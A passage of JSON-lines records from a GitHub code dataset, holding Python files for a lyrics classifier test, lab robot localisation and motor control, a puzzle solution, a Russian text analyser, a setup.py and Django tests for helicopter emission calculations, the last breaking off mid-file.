+{"seq_id":"43043250255","text":"from unittest import TestCase\n\nfrom genre_classification.classifier import Classifier\nfrom genre_classification.read_file_to_text import read_file_text, read_directory\n\n\nclass TestClassification(TestCase):\n    def test_reading_files(self):\n        expected = [\"Ale nie zawsze wychodzi hahah\", \"Lubie programowac Byle nie w piątki\"]\n        actual = read_directory('test/resources')\n        self.assertEqual(expected, actual)\n\n    def test_artist_classification(self):\n        beatles_train = read_directory('test/texts/beatles_train')\n        doom_train = read_directory('test/texts/doom_train')\n\n        beatles_test = read_file_text('test/texts/beatles_test/1.rtf')\n        doom_test = read_file_text('test/texts/doom_test/1.txt')\n\n        classifier = Classifier()\n\n        classifier.fit(training_set=[beatles_train, doom_train], types_names=['beatles', 'doom'])\n\n        beatles_pred = classifier.predict(beatles_test)\n        doom_pred = classifier.predict(doom_test)\n\n        expected_beatles = 0.74\n        expected_doom = 0.36\n\n        self.assertAlmostEqual(expected_beatles, beatles_pred['beatles'], places=2)\n        self.assertAlmostEqual(expected_doom, doom_pred['beatles'], places=2)\n","repo_name":"KamilSiwecki/Genre_classification","sub_path":"genre_classification/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1200,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"70968032081","text":"\nfrom E160_state import *\nfrom E160_PF import E160_PF\nfrom color_tracking import cameraTracking\n\nimport E160_medianfilter\nimport E160_rangeconv\nimport math\nimport datetime\nimport time\n\nclass E160_robot:\n\n    def __init__(self, environment, address, robot_id, other_pair_id=None,\n                 position=None):\n        self.debug = False\n\n        self.environment = environment\n        self.state_est = E160_state()\n        self.state_des = E160_state()\n        if position is None:\n            self.state_est.set_state(0, 0, 0)\n            self.state_des.set_state(0, 0, 0)\n        else:\n            self.state_est.set_state(position[0], position[1], position[2])\n            self.state_des.set_state(position[0], position[1], position[2])\n\n        # Where are we drawing the robot on the GUI?\n        self.state_draw = E160_state()\n        #self.state_odo = E160_state()\n        #self.state_odo.set_state(0, 0, 0) # real position for simulation\n        # --------------------------------------------------------------------\n\n        self.R = 0\n        self.L = 0\n        self.radius = 0.147 / 2\n        self.width = 2*self.radius\n        self.wheel_radius = 0.035\n        self.address = address\n        self.ID = self.address.encode().__str__()[-1]\n        self.last_measurements = []\n        self.robot_id = robot_id\n        self.other_pair_id = other_pair_id\n        self._manual_control_left_motor = 0\n        self._manual_control_right_motor = 0\n\n        self.encoder_resolution = 1440\n\n        #self.last_encoder_measurements = [0, 0]\n        #self.encoder_measurements = [0, 0]\n        #self.range_measurements = [0, 0, 0]\n        # Orientations of the sensors on the robot\n        self.sensor_orientation = [0] #[-math.pi/4, 0, math.pi/4]\n        self.last_simulated_encoder_R = 0\n        self.last_simulated_encoder_L = 0\n        \n        self.Kpho = 1#1.0\n        self.Kalpha = 2#2.0\n        self.Kbeta = -0.5#-0.5\n\n        self.rotate_gain = 12\n\n        if self.environment.robot_mode == \"HARDWARE MODE\":\n            self.max_velocity = 0.05\n            self.camera = cameraTracking(robot_id+1)\n        else:\n            self.max_velocity = 1\n        self.max_angular_vel = 3\n        self.point_tracked = True\n        self.encoder_per_sec_to_rad_per_sec = 10\n\n        # New for Lab 4 ------------------------------------------------------\n        #self.PF = E160_PF(environment, self.width, self.wheel_radius,\n        # self.encoder_resolution)\n        # --------------------------------------------------------------------\n\n        # For lab 3\n        # ADDED BY JORDAN R ABRAHAMS\n        self.momentum = 0\n        # Conversion between desired angular velocities and actual\n        # wheel speed in m/s. This value is measured empirically.\n        self.angular_to_wheel_conv = 440\n\n        # ADDED BY M SANGHEETHA NAIDU\n        self.path = None\n        self.path_complete = True\n        self.is_following_path = False\n        self.is_rotation_tracking = False\n        self.use_full_path_distance = False\n        self.use_median_filter = True\n        self.median_filters = [E160_medianfilter.MedianFilter(4) for _ in\n                               range(3)]\n        #self.points = [[0.2,-0.1,-1.57]]\n                      # [0.0, 0.0,0.0],\n                      # [0.20,0.0,1.57], \n                      # [0.20, 0.20, 1.57],\n                      # [0.0, 0.0, 0.0]]\n\n    def update_encoders_and_ranges(self, delta_t):\n        \"\"\"\n        Slightly different from normal update.\n        Because we have to collect all the information from all robots\n        before doing localisation, we need to call this separately, before\n        update for all robots.\n        Args:\n            delta_t (float): timestep size\n\n        Returns:\n            Tuple of (encoder measurements, range measurements)\n        \"\"\"\n        encoder_meas, range_meas, camera_angle = \\\n            self.update_sensor_measurements(delta_t)\n\n        return encoder_meas, range_meas, camera_angle\n\n    def update(self, deltaT):\n        # get sensor measurements\n            #self.encoder_measurements, self.range_measurements =\\\n            #    self.update_sensor_measurements(deltaT)\n        #self.encoder_measurements, range_mes =\\\n        #    self.update_sensor_measurements(deltaT)\n        #self.environment.range_measurements[self.robot_id] = range_mes\n\n        encoder_measurements = self.environment.encoder_meas[self.robot_id]\n        range_measurements = self.environment.range_meas\n        bearing_from_other = self.environment.bearing_from_other\n        # Retrieve the\n        last_encoder_measurements =\\\n            self.environment.last_encoder_meas[self.robot_id]\n\n        # update odometry\n        delta_s, delta_theta = self.update_odometry(encoder_measurements,\n                                                    last_encoder_measurements)\n\n\n        # update simulated real position, find ground truth for simulation\n        state_odo = self.environment.get_odo(self.robot_id)\n        state_odo = self.localize(state_odo, delta_s, delta_theta)\n        self.environment.set_odo(self.robot_id, state_odo)\n\n        # localize with particle filter\n        if self.environment.robot_mode == \"HARDWARE MODE\":\n            self.state_est =\\\n                self.environment.pf.LocalizeEstWithParticleFilter(\n                    encoder_measurements,\n                    last_encoder_measurements,\n                    [[i[1]] for i in range_measurements],\n                    bearing_from_other,\n                    self.robot_id\n                )\n        else:\n            #print(\"range_measurements: {}\".format(range_measurements))\n            self.state_est = self.environment.pf.LocalizeEstWithParticleFilter(\n                encoder_measurements,\n                last_encoder_measurements,\n                range_measurements,\n                bearing_from_other,\n                self.robot_id\n            )\n\n        # Update the environment's encoder measurements\n        self.environment.last_encoder_meas[self.robot_id] = \\\n            encoder_measurements\n        # Old system of updating encoder measurements which are local.\n        #self.last_encoder_measurements = self.encoder_measurements\n        # to out put the true location for display purposes only.\n        self.state_draw = self.environment.get_odo(self.robot_id)\n\n        # call motion planner\n        #self.motion_planner.update_plan()\n        \n        # determine new control signals\n        self.R, self.L = self.update_control()\n        \n        # send the control measurements to the robot\n        self.send_control(self.R, self.L, deltaT)\n\n    def update_sensor_measurements(self, deltaT):\n        \n        if self.environment.robot_mode == \"HARDWARE MODE\":\n            command = '$S @'\n            self.environment.xbee.tx(dest_addr=self.address, data=command)\n\n            update = self.environment.xbee.wait_read_frame()\n\n            data = update['rf_data'].decode().split(' ')[:-1]\n            data = [int(x) for x in data]\n            # We flip these because the robot is driving backwards technically.\n            encoder_measurements = list(reversed(data[-2:]))\n            #if self.address == \"\\x00\\x0C\":\n            range_measurements = data[:-2]\n            print(range_measurements)\n            #elif self.address == \"\\x00\\x01\":\n            #    range_measurements = data[:-2]\n            #    range_measurements = [range_measurements[1],\n            #                          range_measurements[0],\n            #                          range_measurements[2]]\n            #else:\n            #    raise ValueError(\"Unknown Robot Address. Change this.\")\n\n            camera_angle = self.camera.getAngle()\n\n        elif self.environment.robot_mode == \"SIMULATION MODE\":\n            encoder_measurements = self.simulate_encoders(self.R, self.L,\n                                                          deltaT)\n            # New in lab 4\n            range_measurements = []\n            for o in self.sensor_orientation:\n                new_reading = self.environment.simulate_range_finder(\n                    self.robot_id,\n                    self.environment.state_odo,\n                    o\n                )\n                range_measurements.append(new_reading)\n            range_measurements = list(map(lambda x: E160_rangeconv.m2range(x,\n                                          self.robot_id),\n                                          range_measurements))\n            # TODO: Change this to the simulated camera angle.\n            camera_angle = self.environment.simulate_camera_angle(\n                    self.robot_id,\n                    self.environment.state_odo)\n\n        if self.use_median_filter:\n            range_measurements = [self.median_filters[i].filter(x)\n                                  for i, x in enumerate(range_measurements)]\n        return encoder_measurements, range_measurements, camera_angle\n\n    def localize(self, state_est, delta_s, delta_theta):\n        # New lab 4 state estimate function. We must be given delta_s and\n        # delta_theta now.\n        state_est = self.update_state(state_est, delta_s, delta_theta)\n        return state_est\n    \n    def angle_wrap(self, a):\n        while a > math.pi:\n            a = a - 2*math.pi\n        while a < -math.pi:\n            a = a + 2*math.pi\n            \n        return a\n        \n    def update_control(self):\n\n        # Initialise to zero\n        desiredWheelSpeedR = 0\n        desiredWheelSpeedL = 0\n\n        if self.environment.control_mode == \"MANUAL CONTROL MODE\":\n            desiredWheelSpeedR = self._manual_control_right_motor\n            desiredWheelSpeedL = self._manual_control_left_motor\n        elif self.environment.control_mode == \"AUTONOMOUS CONTROL MODE\":\n            if self.is_following_path:\n                # Follow the entire path\n                desiredWheelSpeedR, desiredWheelSpeedL = self.path_tracker_control()\n            else:\n                # Follow only next point.\n                desiredWheelSpeedR, desiredWheelSpeedL = self.point_tracker_control()\n        elif self.environment.control_mode == \"LEAP PATH CONTROL MODE\":\n            if self.is_following_path:\n                desiredWheelSpeedR, desiredWheelSpeedL =\\\n                    self.path_tracker_control()\n            elif self.is_rotation_tracking:\n                desiredWheelSpeedR, desiredWheelSpeedL =\\\n                    self.rotation_track(self.other_pair_id)\n        else:\n            raise ValueError()\n\n        return desiredWheelSpeedR, desiredWheelSpeedL\n  \n    def path_tracker_control(self):\n        \"\"\" Takes in a list of points, where each point consists of x, y \n            and theta. Iteratively calls point_tracker_control() to take\n            robot on path.\"\"\"\n        if len(self.path) == 0:\n            self.path_complete = True\n            self.cancel_path()\n            return 0, 0\n        else:\n            self.state_des.x = self.path[0][0]\n            self.state_des.y = self.path[0][1]\n            self.state_des.theta = self.path[0][2]\n            self.point_tracked = False\n            self.path_complete = False\n            #print(\"go to first point: \", self.state_des.x)\n\n            if len(self.path) == 1:\n                desiredWheelSpeedR, desiredWheelSpeedL =\\\n                    self.point_tracker_control()\n            else:\n                desiredWheelSpeedR, desiredWheelSpeedL = \\\n                    self.point_tracker_control(track_theta=False)\n            if self.debug:\n                print(\"Desired Wheel Speeds:\", desiredWheelSpeedR,\n                      desiredWheelSpeedL)\n            if self.point_tracked:\n                self.path = self.path[1:]\n\n        return desiredWheelSpeedR, desiredWheelSpeedL\n    \n    def point_tracker_control(self, track_theta=True, use_full_path=True):\n        \"\"\"Set desired wheel positions from a given desired point\"\"\"\n        # Local gains, set to environment variables later\n        distGain = 1.8\n        alphaGain = 10\n        betaGain = -0.5\n\n        velNom = 0.4\n\n        # What are the thresholds for reaching the target? When are we close\n        # enough?\n        distThresh = 0.05\n        thetaThresh = 0.06\n\n        # Shorthands for our current state\n        curX = self.state_est.x\n        curY = self.state_est.y\n        curTheta = self.state_est.theta\n        delx, dely, deltheta = (self.state_des.x - curX,\n                                self.state_des.y - curY,\n                                self.norm_theta(self.state_des.theta\n                                                - curTheta))\n        if not track_theta:\n            deltheta = 0\n\n        # Get distance to target.\n        distTarget = math.sqrt(delx**2 + dely**2)\n        if not use_full_path:\n            rho = distTarget\n        else:\n            rho = self.length_along_path()\n        # Is the target point in front or behind the robot?\n        dirX = math.cos(curTheta)\n        dirY = math.sin(curTheta)\n        dot = self.norm_dotprod(dirX, dirY, delx, dely)\n        #print(\"IN FRONT?: \", dot > 0)\n\n        if abs(distTarget) < distThresh:\n            onlyRotate = True\n            if abs(deltheta) < thetaThresh:\n                #print(\"TRACKED! --------\")\n                self.point_tracked = True\n        else:\n            onlyRotate = False\n\n        #print(\"distTarget      :\", distTarget)\n        #print(\"rho      :\", rho)\n        #print(\"deltheta :\", math.degrees(deltheta))\n        #print(\"thetaThresh :\", math.degrees(thetaThresh))\n\n        # If the desired point is not tracked yet, then track it\n        if not self.point_tracked:\n            # We are going to the desired point.\n            # Check if we should go forwards or backwards\n            goForwards = dot > 0 and self.momentum > -0.05\n\n            if goForwards:\n                # Get angle towards the target\n                alpha = self.norm_theta(-curTheta\n                        + self.norm_theta(math.atan2(dely * dot, delx * dot)))\n                # Set drive amount\n                desV = (distGain*rho + velNom)\n            else:\n                # Reverse the angle if the target is behind us.\n                alpha = self.norm_theta(\n                    -curTheta + self.norm_theta(math.atan2(dely * dot,\n                                                           delx * dot)))\n                # Reverse the drive direction.\n                desV = (distGain*rho + velNom) * -1\n\n            # Get reverse change of angle.\n            beta = self.norm_theta(self.norm_theta(-curTheta - alpha)+self.state_des.theta)\n            # Compute the desired angular velocity.\n            desW = alphaGain*alpha + betaGain*beta\n\n            #print(\"alpha    :\", math.degrees(alpha))\n            #print(\"beta     :\", math.degrees(beta))\n\n            if onlyRotate:\n                #print(\"ONLY ROTATING------\")\n                desW = deltheta * self.rotate_gain\n                desV = 0\n\n            # Add nominal angular velocity\n            #desW = desW + math.copysign(desW, 1) * rotNom\n\n            #print(\"desW     :\", desW)\n            #print(\"desV     :\", desV)\n\n            if (self.address == \"\\x00\\x01\" and self.environment.robot_mode ==\n                    \"HARDWARE MODE\"):\n                desW = -desW\n\n            desiredWheelSpeedR, desiredWheelSpeedL = self.get_des_wheel(\n                desV, desW, self.max_velocity\n            )\n            #desiredWheelSpeedR = 2*(desV + desW*self.width) \\\n            #        /self.wheel_radius * -1\n            #desiredWheelSpeedL = 2*(-desV + desW*self.width) \\\n            #        /self.wheel_radius\n\n        # the desired point has been tracked, so don't move\n        else:\n            desiredWheelSpeedR = 0\n            desiredWheelSpeedL = 0\n\n        # Make sure to cap the maximum wheel velocities.\n        desiredWheelSpeedR, desiredWheelSpeedL = self.cap_wheels(\n            (desiredWheelSpeedR, desiredWheelSpeedL), self.max_velocity)\n\n        #print(\"WR:{}, WL:{}\".format(desiredWheelSpeedR, desiredWheelSpeedL))\n        #print(\"-----------\")\n\n        return desiredWheelSpeedR, desiredWheelSpeedL\n\n    def get_des_wheel(self, desV, desW, max_v):\n        desiredWheelSpeedR = 2*(desV + desW*self.width) \\\n                             /self.wheel_radius * -1\n        desiredWheelSpeedL = 2*(-desV + desW*self.width) \\\n                             /self.wheel_radius\n        desiredWheelSpeedR, desiredWheelSpeedL = self.cap_wheels(\n            (desiredWheelSpeedR, desiredWheelSpeedL), max_v\n        )\n        return desiredWheelSpeedR, desiredWheelSpeedL\n\n    def send_control(self, R, L, deltaT):\n        # send to actual robot !!!!!!!!\n        if self.environment.robot_mode == \"HARDWARE MODE\":\n            if (L < 0):\n                LDIR = 0\n            else:\n                LDIR = 1\n\n            if (R < 0):\n                RDIR = 0\n            else:\n                RDIR = 1\n            RPWM = int(abs(R))\n            LPWM = int(abs(L))\n            command = '$M ' + str(LDIR) + ' ' + str(LPWM) + ' ' + str(RDIR) + ' ' + str(RPWM) + '@'\n            self.environment.xbee.tx(dest_addr = self.address, data = command)\n\n    def simulate_encoders(self, R, L, deltaT):\n        last_r = self.last_simulated_encoder_R\n        last_l = self.last_simulated_encoder_L\n        right_encoder_measurement = -int(\n            R*self.encoder_per_sec_to_rad_per_sec*deltaT) + last_r\n        left_encoder_measurement = -int(\n            L*self.encoder_per_sec_to_rad_per_sec*deltaT) + last_l\n        self.last_simulated_encoder_R = right_encoder_measurement\n        self.last_simulated_encoder_L = left_encoder_measurement\n\n        return [left_encoder_measurement, right_encoder_measurement]\n\n    #def make_headers(self):\n    #    f = open(self.file_name, 'a+')\n    #    f.write('{0} {4:^1} \\n'\n    #            .format('Range_r1', 'range_r2', 'R3', 'RW', 'LW'))\n    #    # Old Lab 3 log headers.\n    #    f.write('{6} {0} {1:^1} {2:^1} {3:^1} {4:^1} {5:^1} \\n'.format('X', 'Y', 'Theta', 'Des_X', 'Des_Y','Des_Theta', 'time'))\n    #    f.close()\n\n\n        \n    # def log_data(self):\n    #    f = open(self.file_name, 'a+')\n    #\n    #    # edit this line to have data logging of the data you care about\n    #    #data = [str(x) for x in [1,2,3,4,5]]\n    #    # Old lab 3 log data.\n    #    state_odo = self.environment.get_odo(self.robot_id)\n    #    data = [str(x) for x in [time.time(), self.state_est.x,\n    #                             self.state_est.y, self.state_est.theta,\n    #                             state_odo.x, state_odo.y,\n    #                             state_odo.theta,\n    #                             self.environment.pf.particle_weight_sum,\n    #                             self.environment.range_meas[self.robot_id],\n    #                             self.environment.pf.numParticles]]\n    #\n    #    f.write(' '.join(data) + '\\n')\n    #    f.close()\n        \n    def set_manual_control_motors(self, R, L):\n        self._manual_control_right_motor = int(R*256/100)\n        self._manual_control_left_motor = int(L*256/100)\n\n    def update_odometry(self, encoder_measurements, last_encoder_measurements):\n        \"\"\"From Lab 2, update the possible state from encoder measurements.\"\"\"\n        delta_s = 0\n        delta_theta = 0\n\n        # ****************** Additional Student Code: Start ************\n\n        # Calculate encoder differences\n        encoderL, encoderR = encoder_measurements\n        lastencoderL, lastencoderR = last_encoder_measurements\n\n        diffEncoderL = (encoderL - lastencoderL)\n        diffEncoderL = diffEncoderL if diffEncoderL <= 1000 else 0\n        diffEncoderR = (encoderR - lastencoderR)\n        diffEncoderR = diffEncoderR if diffEncoderR <= 1000 else 0\n\n        # remember for next time\n\n        #self.last_encoder_measurements[0] = encoderL\n        #self.last_encoder_measurements[1] = encoderR\n\n        # Calculate distance travelled by each wheel.\n        wheelDistanceL = (2*math.pi*diffEncoderL*self.wheel_radius)/self.encoder_resolution\n        wheelDistanceR = (2*math.pi*diffEncoderR*self.wheel_radius)/self.encoder_resolution\n\n        # Calculate delta_s\n        delta_s = 0.5 * (wheelDistanceR + wheelDistanceL)\n        # Calculate delta_theta (This only works if wheel0 is right wheel,\n        # swap values if reversed)\n        delta_theta = 0.5 * (wheelDistanceR - wheelDistanceL)/self.radius\n        # ****************** Additional Student Code: End ************\n\n        # keep this to return appropriate changes in distance, angle\n        return delta_s, delta_theta\n\n    def update_state(self, state, delta_s, delta_theta, ):\n        \"\"\"From Lab 2\"\"\"\n        # ****************** Additional Student Code: Start ************\n        state.x += delta_s * math.cos(state.theta + 0.5*delta_theta)\n        state.y += delta_s * math.sin(state.theta + 0.5*delta_theta)\n        state.theta = self.norm_theta(state.theta + delta_theta)\n        # ****************** Additional Student Code: End ************\n\n        # keep this to return the updated state\n        return state\n        \n    def norm_theta(self, theta):\n        \"\"\"Normalise angles\"\"\"\n        if theta > math.pi:\n            return theta - 2*math.pi\n        elif theta < -1*math.pi:\n            return theta + 2*math.pi\n        else:\n            return theta    \n        \n    def norm_dotprod(self, x1, y1, x2, y2):\n        \"\"\"Calculate the normalised dot product between\"\"\"\n        mag1 = math.sqrt(x1**2 + y1**2)\n        mag2 = math.sqrt(x2**2 + y2**2)\n\n        if mag1 == 0 or mag2 == 0:\n            return 0\n\n        nx1 = x1/mag1\n        ny1 = y1/mag1\n\n        nx2 = x2/mag2\n        ny2 = y2/mag2\n\n        return nx1*nx2 + ny1*ny2\n\n    def cap_wheels(self, wheel_angular_vels, cap_mps):\n        \"\"\"Cap the angular wheel speed of the robot.\"\"\"\n        # Calculate the Angular Cap\n        a_cap = cap_mps * self.angular_to_wheel_conv\n        max_ind, max_v = max(enumerate(wheel_angular_vels),\n                             key=lambda x: abs(x[1]))\n        if max_v == 0:\n            return [0] * len(wheel_angular_vels)\n\n        # Scale all values so that the maximum wheel angular velocity is a_cap\n        max_capped = min(a_cap, max(-a_cap, max_v))\n        scaling = max_capped / max_v\n\n        new_vels = []\n        for w in wheel_angular_vels:\n            new_vels.append(w * scaling)\n        return new_vels\n\n    def assign_path(self, path_points):\n        self.path = path_points\n        self.is_following_path = True\n\n    def cancel_path(self):\n        self.path = None\n        self.path_complete = True\n        self.is_following_path = False\n\n    def length_along_path(self):\n        if self.path is None:\n            return 0\n        start_x = self.state_est.x\n        start_y = self.state_est.y\n        init_dist = math.sqrt((start_x - self.path[0][0])**2 +\n                              (start_y - self.path[0][1])**2)\n        running_dist = 0\n        for i in range(1, len(self.path)):\n            p1 = self.path[i-1]\n            p2 = self.path[i]\n            running_dist += math.sqrt((p1[0] - p2[0])**2 + (p1[1] - p2[1])**2)\n        return running_dist + init_dist\n\n    def rotation_track(self, other_id):\n        other_robot = self.environment.robots[other_id]\n        to_angle = math.atan2(other_robot.state_est.y - self.state_est.y,\n                              other_robot.state_est.x - self.state_est.x)\n        delta_theta = self.angle_wrap(to_angle - self.state_est.theta)\n        des_w = delta_theta * self.rotate_gain * 0.6\n        des_v = 0\n        #print(\"Delta {}, W: {}\".format(delta_theta, des_w))\n\n        # TODO: Flip des_w if we are on a real robot. THIS IS A HACK.\n        if (self.environment.robot_mode == \"HARDWARE MODE\"\n                and self.address == \"\\x00\\x01\"):\n            # Flip rotations only for this one robot\n            des_w = -des_w\n        return self.get_des_wheel(des_v, des_w, self.max_velocity)\n","repo_name":"CrystalSplitter/romi_leapfrog","sub_path":"E160_robot.py","file_name":"E160_robot.py","file_ext":"py","file_size_in_byte":23871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"31562276455","text":"# pylint: disable=C0112,C0103,R0903,C0116,C0114,R0201\nfrom fractions import Fraction\nfrom rich import print\n\ndef read_int():\n    return int(input())\n\ndef read_int_array():\n    return [int(ss) for ss in input().split()]\n\ndef parsekv(s, d1, d2):\n    pairs = s.split(d1)\n    scores = {}\n    for p in pairs:\n        k, v = p.split(d2)\n        scores[k] = Fraction(v)\n    return scores\n\ndef parsedict(s):\n    s = s[1:-1]\n    s = s.replace(\" \", \"\")\n    s = s.replace(\"'\", \"\")\n    return parsekv(s, \",\", \":\")\n\ndef parsetuples(s):\n    s = s[1:-1]\n    s = s.replace(\" \", \"\")\n    s = s.replace(\"'\", \"\")\n    s = s.replace(\"),\", \";\")\n    s = s.replace(\"(\", \"\")\n    s = s.replace(\")\", \"\")\n    return parsekv(s, \";\", \",\")\n\ndef parse_scores(s):\n    if \":\" in s:\n        return parsedict(s)\n    if \"]\" in s:\n        return parsetuples(s)\n    return parsekv(s, \",\", \"=\")\n\ndef solution(test):\n    words, scoretxt = test.split(\"|\")\n    left, right = words.split(\"-\")\n    scores = parse_scores(scoretxt)\n    # print(left, right, scoretxt, scores)\n    ls = sum([scores[l] for l in left])\n    rs = sum([scores[r] for r in right])\n    if ls == rs:\n        return \"-\"\n    elif ls > rs:\n        return left\n    return right\n\ndef main():\n    t = read_int()\n\n    for i in range(t):\n        l = input().strip()\n        s = solution(l)\n        print(f\"Case #{ i + 1 }: {s}\")\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"clupasq/tuenti21","sub_path":"03/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1385,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"26301758094","text":"from collections import Counter\nfrom create_word_cloud import create_word_cloud\n\n\nclass TextAnalyzer:\n    def __init__(self, text: str):\n        # все слова\n        self.words = list(map(str.lower,\n                              filter(lambda el: el.isalpha(), text.split())))\n        # слова с их частотой\n        self.counter = Counter(self.words)\n\n        # средняя частота\n        avg = sum(self.counter.values()) / len(self.counter)\n        # стандартное отклонение\n        st_dev = (sum([(el - avg) ** 2\n                       for el in self.counter.values()])\n                  / (len(self.words) - 1)) ** 0.5\n        # слова-выбросы\n        self.stop_words_ = [word for word, v in self.counter.items() if\n                            abs(v - avg) > st_dev * 3]\n\n        # слова по частоте использования c выбросами\n        self.top = sorted(self.counter,\n                          key=lambda el: self.counter[el], reverse=True)\n        # слова по частоте использования без выбросов\n        self.top_asc = sorted(set(self.counter) - set(self.stop_words_),\n                              key=lambda el: self.counter[el], reverse=True)\n        # слова по редкости использования без выбросов\n        self.top_desc = self.top_asc[::-1]\n        # длины слов с общим кол-вом таких длин\n        self.lengths_words = Counter(map(lambda el: len(el), self.words))\n\n        # длина самого длинного слова и само слово\n        self.longest_word = [max(self.lengths_words.elements())]\n        self.longest_word += [word for word in self.words\n                              if len(word) == self.longest_word[0]][0]\n\n    def top_words(self, kol: int, asc: bool) -> list:\n        return self.top_asc[:kol] if asc else self.top_desc[:kol]\n\n    def stop_words(self) -> list:\n        return self.stop_words_\n\n    def word_cloud(self, color: str):\n        create_word_cloud(self.top[:8], color)\n\n    def describe(self) -> str:\n        most_common_length = self.lengths_words.most_common(1)[0]\n        rarest_length = self.lengths_words.most_common()[-1]\n\n        lengths = list(map(lambda el: str(el[0]),\n                           self.lengths_words.most_common()))\n        return f'Всего слов: {len(self.words)}\\n' \\\n               f'Самое популярное слово: {self.top_asc[0]}\\n' \\\n               f'Длины слов по попярности: {\", \".join(lengths)}\\n' \\\n               f'Самая частая длина слова: {most_common_length[0]} ' \\\n               f'(кол-во слов с такой длиной: {most_common_length[1]})\\n' \\\n               f'Самая редкая длина слова: {rarest_length[0]} ' \\\n               f'(кол-во слов с такой длиной: {rarest_length[1]})'\n\n    def describe_word(self, word: str) -> str:\n        if word in self.counter:\n            if word in self.stop_words_:\n                return f'Всего в тексте: {self.counter[word]}\\n' \\\n                       f'Слово-выброс\\n' \\\n                       f'Количество слов с такой длиной: ' \\\n                       f'{self.lengths_words[len(word)]}'\n            else:\n                return f'Всег�� в тексте: {self.counter[word]}\\n' \\\n                       f'Место по частоте: {self.top_asc.index(word) + 1}\\n' \\\n                       f'Количество слов с такой длиной: ' \\\n                       f'{self.lengths_words[len(word)]}'\n        else:\n            return 'Этого слова нет в тексте'\n","repo_name":"pro100kamil/VisualizerBot","sub_path":"text_analyzer.py","file_name":"text_analyzer.py","file_ext":"py","file_size_in_byte":3812,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"3945458702","text":"# -*- coding: utf-8 -*-\n\nfrom setuptools import setup, find_packages\n\n\nwith open('README.rst') as f:\n    readme = f.read()\n\nwith open('LICENSE') as f:\n    license = f.read()\n\nsetup(\n    name='Teste-de-Reconhecimento-de-voz',\n    version='0.1.0',\n    description='Um simples codigo sobre reconhecidimento de voz',\n    long_description=readme,\n    author='Felipe Baz Mitsuishi',\n    author_email='felipe.mitsuishi@unifesp.br',\n    url='https://github.com/Felipe-Baz/Teste-de-Reconhecimento-de-voz',\n    license=license,\n    packages=find_packages(exclude=('tests', 'docs'))\n)\n\n","repo_name":"Felipe-Baz/Teste-de-Reconhecimento-de-voz","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"2189639127","text":"import pytest\nfrom django.db.models import QuerySet\n\nfrom apps.emissions.factories import PlannedHelicopterUseFactory\nfrom apps.emissions.models import PlannedHelicopterUse\nfrom apps.emissions.services.calculator.helicopters import (\n    calculate_helicopter_co2,\n    calculate_helicopter_fuel,\n    calculate_helicopter_nox,\n    calculate_step_helicopters_co2,\n    calculate_step_helicopters_fuel,\n    calculate_step_helicopters_nox,\n)\n\n# v20.12.22\nHELICOPTERS = {\n    'Sikorsky S-92': dict(\n        # 'Well Planning'!O19\n        roundtrip_minutes=90,\n        # 'Well Planning'!P19\n        roundtrip_count=8,\n        # 'Asset & Materials Input'!F86\n        fuel_consumption=641,\n        # 'Well Planning'!Q19\n        exposure=50,\n        # 'Asset & Materials Input'!G86\n        co2_per_fuel=3.15,\n        # 'Asset & Materials Input'!H86\n        fuel_density=800.0,\n        # 'Asset & Materials Input'!I86\n        nox_per_fuel=53.5,\n    ),\n    'Super Puma': dict(\n        # 'Well Planning'!O20\n        roundtrip_minutes=91,\n        # 'Well Planning'!P20\n        roundtrip_count=9,\n        # 'Asset & Materials Input'!F87\n        fuel_consumption=650,\n        # 'Well Planning'!Q20\n        exposure=100,\n        # 'Asset & Materials Input'!G87\n        co2_per_fuel=3.15,\n        # 'Asset & Materials Input'!H87\n        fuel_density=800.0,\n        # 'Asset & Materials Input'!I87\n        nox_per_fuel=53.5,\n    ),\n}\n\n\n@pytest.fixture\ndef helicopter_uses() -> QuerySet[PlannedHelicopterUse]:\n    for helicopter in HELICOPTERS.values():\n        PlannedHelicopterUseFactory(\n            trips=helicopter['roundtrip_count'],\n            trip_duration=helicopter['roundtrip_minutes'],\n            exposure_against_current_well=helicopter['exposure'],\n            helicopter_type__fuel_consumption=helicopter['fuel_consumption'],\n            helicopter_type__co2_per_fuel=helicopter['co2_per_fuel'],\n            helicopter_type__fuel_density=helicopter['fuel_density'],\n            helicopter_type__nox_per_fuel=helicopter['nox_per_fuel'],\n        )\n\n    return PlannedHelicopterUse.objects.all()\n\n\n# v20.12.22\n@pytest.mark.django_db\n@pytest.mark.parametrize(\n    'helicopter,expected',\n    (\n        # 'Calculation'!F98\n        ('Sikorsky S-92', 3.846),\n        # 'Calculation'!F99\n        ('Super Puma', 8.872499999999999),\n    ),\n)\ndef test_calculate_helicopter_fuel(\n    helicopter: str,\n    expected: float,\n):\n    assert (\n        calculate_helicopter_fuel(\n            roundtrip_minutes=HELICOPTERS[helicopter]['roundtrip_minutes'],\n            roundtrip_count=HELICOPTERS[helicopter]['roundtrip_count'],\n            fuel_consumption=HELICOPTERS[helicopter]['fuel_consumption'],\n            exposure=HELICOPTERS[helicopter]['exposure'],\n        )\n        == expected\n    )\n\n\n# v20.12.22\n@pytest.mark.django_db\n@pytest.mark.parametrize(\n    'helicopter_name,expected',\n    (\n        # 'Calculation'!H98\n        ('Sikorsky S-92', 12.1149),\n        # 'Calculation'!H99\n        ('Super Puma', 27.948374999999995),\n    ),\n)\ndef test_calculate_helicopter_co2(\n    helicopter_name: str,\n    expected: float,\n):\n    assert (\n        calculate_helicopter_co2(\n            roundtrip_minutes=HELICOPTERS[helicopter_name]['roundtrip_minutes'],\n            roundtrip_count=HELICOPTERS[helicopter_name]['roundtrip_count'],\n            fuel_consumption=HELICOPTERS[helicopter_name]['fuel_consumption'],\n            exposure=HELICOPTERS[helicopter_name]['exposure'],\n            co2_per_fuel=HELICOPTERS[helicopter_name]['co2_per_fuel'],\n        )\n        == expected\n    )\n\n\n# 